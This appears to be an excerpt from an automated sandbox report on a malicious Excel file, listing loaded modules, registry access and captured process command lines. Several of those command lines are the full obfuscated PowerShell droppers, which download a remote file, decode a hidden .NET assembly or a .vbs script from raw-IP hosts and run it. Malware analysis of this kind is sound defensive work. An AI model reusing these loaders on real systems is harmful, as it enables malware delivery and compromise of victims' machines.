Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ucrtbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: netapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wkscli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: samlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: rasadhlp.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.pdbhP source: powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.pdb source: powershell.exe, 00000011.00000002.499011625.000000000279C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.pdb source: powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.pdbhP source: powershell.exe, 00000011.00000002.499011625.00000000027DE000.00000004.00000800.00020000.00000000.sdmp

Source: 37330000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: Po docs.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS5